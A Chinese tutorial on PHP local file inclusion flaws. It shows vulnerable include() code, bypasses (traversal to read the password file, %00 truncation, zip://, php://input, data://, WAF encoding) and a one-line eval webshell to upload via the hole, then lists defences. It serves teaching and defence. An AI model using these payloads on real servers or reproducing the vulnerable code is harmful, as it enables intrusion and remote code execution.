百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术流 > 正文

本地文件包含漏洞详解

citgpt 2024-09-26 11:29 7 浏览 0 评论

0x00:漏洞定义

在通过服务器脚本的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露、恶意代码的注入等。

本地文件包含漏洞详解

文件包含分为两种,一种为本地文件包含,一种为远程文件包含,此篇记录本地文件包含。本地文件包含(Local File Include),简称 LFI。

0x01:涉及函数

文件包含在 php 中,涉及到的危险函数有四个,分别是 include()、include_once()、require()、require_once()。

区别如下:

include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。

include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。

require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。

require_once:和 require 类似,不同处在于 require_once 只导入一次。

0x02:产生场景

开发过程中,多个文件都会用到的代码,通常会放到一个单独的文件中,用到时再包含进来。当把包含的文件写死在程序中时,该漏洞是不存在的,但很多情况都会动态的去包含所需的文件,这时候则会产生文件包含漏洞。

0x03:简单示例

以下代码是最简单的一个文件包含示例,程序没有对要包含的文件进行验证,导致可控。

<?php
 $file = $_GET['file'];
 if(isset($file)){
 include("$file");
 }else{
 echo "file fail";
 }

因为文件路径可控,当输入系统的密码文件所在路径时,内容会输出出来,如下图:

这样的代码过于危险,所以很少有人这么写,但有些防护措施是很差的,例如通过替换../, 代码如下:

$file=str_replace('../','',$_GET['file']);
if(isset($file)){
 include("$file");
}else{
 echo "file fail";
}

通过检测../ 然后替换为空,上一种情况是通过../ 定位到根目录的,当../ 被过滤后,可以直接通过 / 定位,如下图:

有时的程序也会通过添加后缀来做防护措施,例如如下代码:

$file=str_replace('../','',$_GET['file']);
if(isset($file)){
 include("$file" . "php");
}else{
 echo "file fail";
}

这个可以通过 %00 截断来绕过,但要注意,是老版本了,php5.2.x 的测试可以,php5.3.x 的测试不行,而且 php.ini 中的 magic_quotes_gpc 配置项为 off 时,才可以。magic_quotes_gpc 是用来转义特殊字符的,开启后 %00 会被转义,这个可以做下了解,毕竟老版本用的比较少了。测试结果如下图(win):

新建一个 txt 文件,内容为 <? phpinfo(); ?>

php5.2.17 测试结果:

当把 magic_quotes_gpc 设置为 on 时,%00 会被转义,结果如下:

当把 php 版本切换为 php5.3.29 时,测试不通过,结果如下:

顺便提一下,为什么 %00 能截断,PHP 内核是 C 实现的,使用了 C 中的字符处理函数,在连接字符串时,0 字节也就是 x00 会作为结束符,所以只要加入一个 0 字节,就可以截断字符串,0 经过 URL 编码后为 %00。

对于 %00 截断可以通过以上几个图的提示来判断出 php 的版本或是否开启了 magic_quotes_gpc 配置项,能迅速查出原因即可。

当 %00 不能截断时,在 win 系统中,可以利用 php 的 zip:// 协议,例如:写一个 hello.php,内容为 <?php phpinfo();?>,然后压缩成文件 test.zip 并上传,随后在系统中输入 localhost/test.php?file=zip://test.zip%23hello 即可,因为程序有后缀措施,这样参数 file 实际就变成了 zip://test.zip#23hello.php,意思为读取 test.zip 中的 hello.php 文件内容,如下图:

0x04:利用示例

1,如果存在本地文件包含漏洞时,不论包含 txt 还是 jpg,程序都会以 php 来解析运行,也就意味着可以上传一句话木马,直接用菜刀连接。

例如新建一个 1.txt 内容为:

<?php @eval($_POST['caidao']);?>

随后将后缀改为 jpg,利用文件包含漏洞包含此文件,结果如下:

2,可以利用 php://input 输入流执行任意命令,前提是 php.ini 的 allow_url_include 项设置为 on,不受版本控制,例如以下操作图:

使用火狐插件 hackbar 即可。

3,利用 php 的数据协议 data:// 可以查看文件源代码,前提是 php.ini 中的 allow_url_fopen 和 allow_url_include 两个配置为 on, 例如以下操作图:

当碰到 WAF 时,可以把 <> 这些特殊符号进行编码再试。

0x05: 如何防御

1,尽量不使用动态包含文件,如果可以静态的去包含最好。

2,在使用动态包含时,添加后缀措施的情况下,请保证 php 版本高于 5.3 或是最新版,防止截断攻击。

3,对于动态包含的文件可以设置一个白名单,如果不属于白名单内的文件名,则不包含。

4,可以使用 open_basedir 限制目录项来指定包含的目录范围,防止目录遍历,php.ini 中设置 open_basedir="指定目录"。

5,对于中间件 apache 或 nginx 等,可以使用中间件自身的指定目录范围配置,效果更好。

相关推荐

js中arguments详解

一、简介了解arguments这个对象之前先来认识一下javascript的一些功能:其实Javascript并没有重载函数的功能,但是Arguments对象能够模拟重载。Javascrip中每个函数...

firewall-cmd 常用命令

目录firewalldzone说明firewallzone内容说明firewall-cmd常用参数firewall-cmd常用命令常用命令 回到顶部firewalldzone...

epel-release 是什么

EPEL-release(ExtraPackagesforEnterpriseLinux)是一个软件仓库,它为企业级Linux发行版(如CentOS、RHEL等)提供额外的软件包。以下是关于E...

FullGC详解  什么是 JVM 的 GC
FullGC详解 什么是 JVM 的 GC

前言:背景:一、什么是JVM的GC?JVM(JavaVirtualMachine)。JVM是Java程序的虚拟机,是一种实现Java语言的解...

2024-10-26 08:50 citgpt

使用Spire.Doc组件利用模板导出Word文档
  • 使用Spire.Doc组件利用模板导出Word文档
  • 使用Spire.Doc组件利用模板导出Word文档
  • 使用Spire.Doc组件利用模板导出Word文档
  • 使用Spire.Doc组件利用模板导出Word文档
跨域(CrossOrigin)

1.介绍  1)跨域问题:跨域问题是在网络中,当一个网络的运行脚本(通常时JavaScript)试图访问另一个网络的资源时,如果这两个网络的端口、协议和域名不一致时就会出现跨域问题。    通俗讲...

微服务架构和分布式架构的区别

1、含义不同微服务架构:微服务架构风格是一种将一个单一应用程序开发为一组小型服务的方法,每个服务运行在自己的进程中,服务间通信采用轻量级通信机制(通常用HTTP资源API)。这些服务围绕业务能力构建并...

深入理解与应用CSS clip-path 属性
深入理解与应用CSS clip-path 属性

clip-pathclip-path是什么clip-path 是一个CSS属性,允许开发者创建一个剪切区域,从而决定元素的哪些部分可见,哪些部分会被隐...

2024-10-25 11:51 citgpt

HCNP Routing&Switching之OSPF LSA类型(二)
  • HCNP Routing&Switching之OSPF LSA类型(二)
  • HCNP Routing&Switching之OSPF LSA类型(二)
  • HCNP Routing&Switching之OSPF LSA类型(二)
  • HCNP Routing&Switching之OSPF LSA类型(二)
Redis和Memcached的区别详解
  • Redis和Memcached的区别详解
  • Redis和Memcached的区别详解
  • Redis和Memcached的区别详解
  • Redis和Memcached的区别详解
Request.ServerVariables 大全

Request.ServerVariables("Url")返回服务器地址Request.ServerVariables("Path_Info")客户端提供的路...

python操作Kafka

目录一、python操作kafka1.python使用kafka生产者2.python使用kafka消费者3.使用docker中的kafka二、python操作kafka细...

Runtime.getRuntime().exec详解

Runtime.getRuntime().exec详解概述Runtime.getRuntime().exec用于调用外部可执行程序或系统命令,并重定向外部程序的标准输入、标准输出和标准错误到缓冲池。...

promise.all详解 promise.all是干什么的
promise.all详解 promise.all是干什么的

promise.all详解promise.all中所有的请求成功了,走.then(),在.then()中能得到一个数组,数组中是每个请求resolve抛出的结果...

2024-10-24 16:21 citgpt

Content-Length和Transfer-Encoding详解
  • Content-Length和Transfer-Encoding详解
  • Content-Length和Transfer-Encoding详解
  • Content-Length和Transfer-Encoding详解
  • Content-Length和Transfer-Encoding详解

取消回复欢迎 发表评论: